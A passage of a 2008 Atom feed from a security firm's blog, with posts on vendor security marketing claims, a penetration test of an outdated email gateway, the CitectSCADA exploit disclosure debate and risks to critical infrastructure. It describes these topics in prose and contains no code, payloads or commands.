justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;As a general rule of thumb I try to avoid saying that anything is 100% secure or invulnerable to attack because that sort of claim is impossible.  But while reviewing the Fortify website I found the following text and thought it was worthy of note: &lt;/span&gt;&lt;a href="http://www.fortify.com/solutions/"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;"Fortify 360 renders software invulnerable to attacks from cyber predators."&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; This sort of marketing fluff falls under the same class of confusing noise as Brian Chess's claim that Penetration Testing will be dead by 2009, total fiction.  It is mathematically  impossible for Fortify 360 to render software "invulnerable to attacks from cyber predators." unless the software is mathematically proven to be secure, and it hasn't.  &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;If anyone disagrees with what I've said here by all means leave me a comment. If you can prove me wrong then I'll happily make corrections, but I'm pretty sure I'm on the ball with this one.   And Mr. Chess, if you think that your technology renders your customers "invulnerable to attacks from cyber predators" then I challenge you to let my research team test an evaluation copy of your technology, after all the skills that we posses according to you are outdated and shouldn't pose a threat to your software.  ;]&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-2199059352913034129?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/2199059352913034129/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/12/brian-chess-cto-of-fortify-software.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2199059352913034129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2199059352913034129'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/12/brian-chess-cto-of-fortify-software.html' title='Brian Chess, CTO of Fortify Software - Creating Confusion'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5650586030948281526</id><published>2008-12-23T09:03:00.000-08:00</published><updated>2008-12-23T10:27:32.111-08:00</updated><title type='text'>Insecure *Security* Technologies</title><content type='html'>There is not a single piece of software that exists today that is free from flaws and many of those flaws are security risks. Every time a new security technology is added to an Infrastructure, a host of flaws are also introduced.  The majority of these flaws are undiscovered but in some cases the vendor already knows about them.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As an example, we encountered a Secure Email Gateway during an &lt;a href="http://www.netragard.com/services-penetration_testing.php"&gt;Advanced External Penetration Test&lt;/a&gt; for a customer. When a user sends an email, the email can either be sent from the gateway's webmail gui, or from outlook.  If it is sent from outlook then the gateway will intercept the email and store the message contents locally. Then instead of actually sending the sensitive email message to the recipient, the gateway sends a link to the recipient. When the recipient clicks on the link their browser launches and they are able to access the original message content.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;While this all looked fine, there was something about that gateway that made me want to learn more (a strange jboss version response), so I did... I called the vendor and ask to speak to a local sales rep.  When the rep got on the phone I told him that I had an immediate need for 50 gateways but wouldn't make any purchases until I knew that his technology was compatible with my infrastructure. He got really excited and asked me what I needed in order to verify compatibility. I told the rep that I needed a list of all Open Source libraries and software that had been built into the gateway along with version information.  The rep said that he didn't really understand what I was asking him but that he'd go to someone in development and figure it out.  Within about fifteen minutes I received an email with a .xls attachment.  Shortly after that I received an email from the rep asking me to delete the .xls attachment because he wasn't supposed to share that particular one.... go figure... &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(I deleted it after I read it)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;When I studied the document I realized that the gateway was nothing more than a common bloated linux box with a bunch of very, very old Open Source software installed on it.  In fact, based on the version information provided, the newest package that was installed was OpenSSL and that was 3 years old!  The JBoss application sever was even older than that and was also vulnerable as hell (but it was hacked and reported incorrect version information). Needless to say we managed to penetrate the secure email gateway by using a published exploit that was also about 3 years old. Once we got in our client decided that their secure gateway wasn't so secure any more and did away with it.  We did contact the vendor by the way and they weren't receptive or willing to commit to any sort of fix. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The fact of the matter is that we run into technology like this all the time, especially with appliances.  We've seen this same sort of issue with patch management technologies, distributed policy enforcement technologies, anti-virus technologies, HIDS technologies, etc.  In almost every case we are able to use these technologies to penetrate or at least to assist in the penetration of our target.  While most of these technologies introduce more risk than the risk that they resolve, there are a few good ones.  My recommendation is to have a third party assess the technology before you decide to use it, just make sure that they are actually qualified and not &lt;a href="http://snosoft.blogspot.com/2008/12/fradulent-security-experts.html"&gt;Fraudulent Security Experts&lt;/a&gt;.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5650586030948281526?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5650586030948281526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/12/insecure-security-technologies.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5650586030948281526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5650586030948281526'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/12/insecure-security-technologies.html' title='Insecure *Security* Technologies'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-2010824519816965578</id><published>2008-12-19T07:58:00.001-08:00</published><updated>2008-12-19T09:01:53.353-08:00</updated><title type='text'>Raising Infrastructural Awareness in 2008</title><content type='html'>Before 2008 nobody had done any high visibility vulnerability research and exploit development against critical systems used to maintain our critical infrastructure.  In early to mid 2008 that all changed.  Initially Core Security released a security vulnerability for Citect SCADA. That security vulnerability got media attention because it was one that could be used to penetrate into important control systems that are used to control our infrastructure. (Electricity, Water, Gas, Oil, etc).&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;When the vendor released their statement about the vulnerability they downplayed the criticality of the issue in a very significant way.  In our opinion that downplay was borderline unethical and was an attempt to save face.  Fortunately for all of you who rely on electricity, running water, etc, we weren't going to stand for that.  More specifically, Kevin Finisterre our lead researcher wasn't going to stand for it. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;At first Kevin and I tried talking to the engineers about the criticality of the vulnerability.  That discussion got us nowhere fast, the engineers simply didn't want to hear it and didn't want to assume responsibility for the problem.  At that point Kevin decided to take the game to the next level, and this time the actual risk for the vulnerability would be proved. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Kevin decided that he would write an exploit for the Citect SCADA vulnerability, after all the vendor said that it was a low risk issue right? So Kevin did just that, he wrote an exploit and published it to the Metasploit Framework.  Once word of that got out, the attitudes at Citect and those of the engineers changed so fast that heads spun.  All of the sudden this non-critical issue was a critical issue and something had to be done.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So why was it so important for us to do that? Why did we feel that it was the ethical thing to do?  Here's why....&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;An exploit had already been created by a few other people and was in circulation. So the bad guys had it and the good guys didn't.  When Kevin published the exploit he evened out the playing field and gave the good guys the same caliber guns.  When the good guys fired the gun the reality of their vulnerability was very apparent and only then did they jump to work on the issues. That said, some of them are still vulnerable. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Through out 2008 we kept on researching SCADA vulnerabilities and other security issues related to Infrastructural systems.  As it turns out we caught a lot more interest than we thought we would have, and we had a much bigger impact on the industry than expected. Today Citect is taking security very seriously and many government agencies have become very aware of these risks. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.digitalbond.com/index.php/2008/12/18/december-podcast-this-month-in-control-system-security/"&gt;Here is a podcast&lt;/a&gt; where people reference the work that we've done with vulnerability research and exploit releases. They never directly mention our names (go figure) but we all know who they are talking about. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-2010824519816965578?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/2010824519816965578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/12/raising-infrastructural-awareness-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2010824519816965578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2010824519816965578'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/12/raising-infrastructural-awareness-in.html' title='Raising Infrastructural Awareness in 2008'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-8811132619469398306</id><published>2008-12-18T07:25:00.000-08:00</published><updated>2008-12-18T07:55:24.239-08:00</updated><title type='text'>Utility Companies and Food for Thought</title><content type='html'>Something that I keep on hearing from engineers (power, water, etc) on the SCADASEC mailing list is that they are more concerned about human error causing an outage than an attack over the internet.  Most of the incidents that I hear about are operator error and they involve accidentally shutting down a computer system or perhaps configuring one improperly (The utility guys like to call these "cyber" incidents).  When that happens things "go to hell in a hand basket" fast and people can and do die.  They seem to be more concerned about those types of "cyber" incidents than they are the hacker threat... but they're not getting it right?&lt;br /&gt;&lt;br /&gt;The fact of the matter is that a malicious hacker could trigger any number of these "cyber" incidents either deliberatley or accidently, and the end result is the same. How do we get these guys to take the threat more seriously? I think its happening, but I don't feel like its happening fast enough.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-8811132619469398306?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/8811132619469398306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/12/utility-companies-and-food-for-thought.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8811132619469398306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8811132619469398306'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/12/utility-companies-and-food-for-thought.html' title='Utility Companies and Food for Thought'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3124326734304219099</id><published>2008-12-17T09:52:00.000-08:00</published><updated>2008-12-17T10:54:32.270-08:00</updated><title type='text'>Fradulent Security Experts</title><content type='html'>So I've been participating in the penetration testing mailing list that is hosted by securityfocus and I can't say that I am impressed. In fact, I might even go so far as to say that I am  concerned about the caliber of the people that are offering paid services, here's why.&lt;br /&gt;&lt;br /&gt;When a customer hires a security professional to perform a Penetration Test, Web Application Security Assessment, or any other service that customer should be getting a real expert. That expert should be able to assess the customers target infrastructure, application, or whatever and should be able to determine points of vulnerability and their respective risks.  But that is not what I am seeing.&lt;br /&gt;&lt;br /&gt;The other day a self proclaimed "expert" asked how dangerous a SQL Injection vulnerability was. They apparently identified a SQL Injection vulnerability in their customer's website but didn't know what to do with it!!! They also asked about how to exploit the vulnerability and what successful exploitation might do.&lt;br /&gt;&lt;br /&gt;Well the first thing that came to mind was "Why the hell are you offering services if you don't know what you are doing?". I actually asked that but I didn't get any response back from the original author.  When someone hires a security professional to deliver security services they expect those professionals to be subject matter experts.  The unfortunate thing is that in most cases the customer has no way of verifying the professional's expertise and the customer gets taken for a ride. (&lt;a href="http://www.netragard.com"&gt;Take a look at our white papers!!!&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Another example is in a recent vulnerability that one of my team members found. He was researching a product's webservice and found that it was just chalk full of holes. When he contacted the vendor, they responded with "but we just had a very extensive security assessment done against our product".  We certainly couldn't tell... looks like they got taken for a ride like so many others.&lt;br /&gt;&lt;br /&gt;Why is this a problem, why do I care? Its a problem because the providers who offer these low quality services advertise the same way as the high quality providers.  The difference is that their service doesn't do anything to protect the customer, and ours does.  We're not the only good security company out there, but we are one of very, very few.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3124326734304219099?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3124326734304219099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/12/fradulent-security-experts.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3124326734304219099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3124326734304219099'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/12/fradulent-security-experts.html' title='Fradulent Security Experts'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7148696869313852999</id><published>2008-12-10T06:54:00.000-08:00</published><updated>2008-12-16T04:57:27.137-08:00</updated><title type='text'>Conference with Green Hills Software</title><content type='html'>I recently gave a speech with Green Hills Software, Inc. in California.  The presentation covered the real threat that businesses face as opposed to the theoretical threat that most people seem to worry more about.  I also made it a point to uncover some of the more unorthodox attack methods that hackers use like the spreading of infected USB Sticks in parking lots or the use of rapid &lt;a href="http://www.phrack.com/issues.html?issue=55&amp;amp;id=16"&gt;Distributed Metastasis.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here are some articles that were written as a result of the conference:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.eetimes.com/news/latest/showArticle.jhtml?articleID=212300500"&gt;EEtimes&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.eetimes.eu/wireless/showArticle.jhtml?articleID=212300520&amp;amp;printable=true"&gt;EEtimes.eu&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.astalavista.com/index.php?section=blog&amp;amp;cmd=details&amp;amp;id=4130"&gt;Astalavista&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.isa.org/intech/blog/2008/12/staying-one-step-ahead-of-hackers.html"&gt;ISA&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7148696869313852999?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7148696869313852999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/12/conference-for-green-hills-software.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7148696869313852999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7148696869313852999'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/12/conference-for-green-hills-software.html' title='Conference with Green Hills Software'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3299799593890550532</id><published>2008-10-13T11:47:00.000-07:00</published><updated>2008-10-13T12:11:48.098-07:00</updated><title type='text'>Die Hard 3 - Our Infrastructural Systems</title><content type='html'>Society has one very critical technological underpinning that goes un-noticed by most people, but not hackers. If you’ve ever seen the most recent die hard movie then you’ll have an idea of what I am talking about.  That is, the world’s critical infrastructures are vulnerable to attack by hackers (scary but true). These infrastructures include but are not limited to Water, Power, Communications, Transportation, Chemical Plants, etc.&lt;br /&gt;&lt;br /&gt;Critical Infrastructure existed well before the advent of the Internet. The systems that were deployed to support the infrastructure were designed for stability, reliability and redundancy.  These are computer systems that are used to control massive pumps, generators, cooling pools, the flow of gas, and other critical devices. A failure in one of those computer systems can translate to a failure in one of those critical devices.&lt;br /&gt;&lt;br /&gt;When Infrastructure’s IT Infrastructure was first built, remote measurement devices would report data back home via dedicated network connections. In some cases people would physically go to remote locations and take readings and report those readings back to the headquarters.  Recently however, Infrastructural businesses realized the cost benefit of using the Internet in place of the dedicated lines and the traveling meter-reading engineers.  What they didn’t consider what the seriousness of the Internet threat, and the capabilities of those who create the threat.&lt;br /&gt;&lt;br /&gt;As a result Infrastructure in every developed country contains critical technological vulnerabilities that have yet to be discovered. Those vulnerabilities if exploited successfully could result in damages ranging from basic system outages to the deaths of many people.  This is the cost of a premature reliance on technology that people don’t fully understand.&lt;br /&gt;&lt;br /&gt;To make matters worse the solution isn’t easily implemented. The problem is clouded with political noise, egos, and old time engineers that resist change. Some of them might actually fear for their jobs as they well should if in fact their skills are not unique.  Others should fear for their jobs because they have neglected to protect critical infrastructure from the hacker threat.  This problem isn’t a new problem and its existed for quite a while now, but we’re working to turn up the heat.&lt;br /&gt;&lt;br /&gt;Yet still its not quite that simple. Many of these systems can't just be patched, some of them are upgraded with fork lifts.  The ones that can be patched, can't still be patched because for them to go off-line means that you lose power, water, emergency services etc. Worse yet, if a patch is applied and that patch fails 90 days after its running, then it can kill people. So the threat is literally two sided. The fix creates a threat, and the hackers create a threat. How to resolve this without having either threat align with the risk?&lt;br /&gt;&lt;br /&gt;If you are interested in following the conversations then you should subscribe to the &lt;a href="http://news.infracritical.com/mailman/listinfo/scadasec"&gt;SCADA Sec mailing list.&lt;/a&gt;  The list is made up of a wide range of IT experts including Security Specialists, Control System experts, and Control System Security experts. As a group we’ll solve this problem, but if we keep arguing about semantics then we’re all in trouble.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3299799593890550532?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3299799593890550532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/10/die-hard-3-our-infrastructural-systems.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3299799593890550532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3299799593890550532'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/10/die-hard-3-our-infrastructural-systems.html' title='Die Hard 3 - Our Infrastructural Systems'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-2230571875400432893</id><published>2008-09-10T11:26:00.000-07:00</published><updated>2008-09-10T13:16:51.213-07:00</updated><title type='text'>CitectSCADA Exploit Release</title><content type='html'>&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;SNOsoft/Netragard's Kevin Finisterre recently released an &lt;span style="font-weight: bold;"&gt;Exploit&lt;/span&gt;, not &lt;span style="font-weight: bold;"&gt;Attack Code,&lt;/span&gt; to demonstrate that a critical &lt;span style="font-weight: bold;"&gt;vulnerability&lt;/span&gt; does exist in &lt;a href="http://www.citect.com/"&gt;Citect&lt;/a&gt;'s CitectSCADA product. This code was released so that users of the product could accurately determine their own level of risk and exposure as well as determine the seriousness of the risk it creates as it relates to their infrastructure.  This code was released after the vendor, &lt;a href="http://www.citect.com/"&gt;Citect&lt;/a&gt;, had created a fix for the vulnerability and after people had been given sufficient time to implement the fix.&lt;br /&gt;&lt;br /&gt;It is  important to understand that the risk to Infrastructural businesses existed well before Kevin released his exploit code and well before &lt;a href="http://www.coresecurity.com/"&gt;Core Security&lt;/a&gt; released their advisory.  The risk was born the moment the programming error in the CitectSCADA product happened. When Core Security identified the risk and notified the vendor they began the process of defending Infrastructural businesses against attack.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.citect.com/"&gt;Citect&lt;/a&gt; responded very rapidly and appropriately to Core's discovery and released a fix for the issue. Shortly thereafter, Kevin created a working Proof of Concept ("Exploit") that enabled users of the CitectSCADA technology to test their own networks to see if in fact they were vulnerable to attack. In addition, Kevin worked with other security experts to help get an Intrusion Detection Signature developed that would detect any attempt at attacking a vulnerable system. That signature is available here.&lt;br /&gt;&lt;br /&gt;In all reality Kevin's exploit code was very unlikely the first version. Chances are very high that other hackers had already created an exploit to penetrate into the CitectSCADA computer systems.  Kevin's release of his version of an exploit for this vulnerability has a powerful negative impact on the value of the exploit to malicious hackers. When a malicious hacker attacks a network it is important that they are not detected. As such they tend to attack vulnerabilities that are unknown to the general public.  Once a vulnerability is disclosed to the public it is detectable and it looses its appeal to malicious hackers very quickly.&lt;br /&gt;&lt;br /&gt;Not only is the value of the exploit diminished by disclosure, but now the chances of the exploit working against a target are also diminished. This is because network and system administrators can test their own networks using Kevin's tool and build defenses to defeat the attack even if they do not apply the &lt;a href="http://www.citect.com/"&gt;Citect&lt;/a&gt; patch.&lt;br /&gt;&lt;br /&gt;In closing, I would like to commend &lt;a href="http://www.citect.com/"&gt;Citect&lt;/a&gt; for doing such a good job at dealing with this issue. Likewise I'd like to commend the researchers and the people that pushed so hard to get this issue the attention that it needed.  This is the first major step in the right direction to protecting our Infrastructural businesses, and those businesses are the most critical to our survival. Also please remember, Citect's vulnerability is not unique. All software is vulnerable at one point or another.&lt;br /&gt;&lt;br /&gt;Here are the articles:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2008/09/08/scada_exploit_released/"&gt;The Register:&lt;/a&gt;&lt;a href="http://www.blogger.com/www.csoonline.com/article/448626/Threat_to_SCADA_Systems_Growing?page=1"&gt;&lt;br /&gt;CSO Magazine:&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cio.com/article/448624/Computer_Threat_for_Industrial_Systems_Now_More_Serious"&gt;CIO Magazine:&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.pcworld.com/businesscenter/article/150888/computer_threat_for_industrial_systems_now_more_serious.html"&gt;PC World:&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.networkworld.com/news/2008/091008-computer-threat-for-industrial-systems.html?page=2"&gt;Network World:&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-2230571875400432893?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/2230571875400432893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/09/citectscada-exploit-release.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2230571875400432893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2230571875400432893'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/09/citectscada-exploit-release.html' title='CitectSCADA Exploit Release'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-2057756453410578171</id><published>2008-09-03T07:34:00.000-07:00</published><updated>2008-09-03T07:36:46.119-07:00</updated><title type='text'>Hackers?</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="text-decoration: underline;"&gt;Hackers: Amaturs, non profit. &lt;/span&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_EB6c20kYC_c/SL6gqmsV6qI/AAAAAAAAAAc/ql8xobZY-Ik/s1600-h/wtf-hackers.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_EB6c20kYC_c/SL6gqmsV6qI/AAAAAAAAAAc/ql8xobZY-Ik/s400/wtf-hackers.jpg" alt="" id="BLOGGER_PHOTO_ID_5241803670107318946" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-2057756453410578171?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/2057756453410578171/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/09/hackers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2057756453410578171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2057756453410578171'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/09/hackers.html' title='Hackers?'/><author><name>Adriel 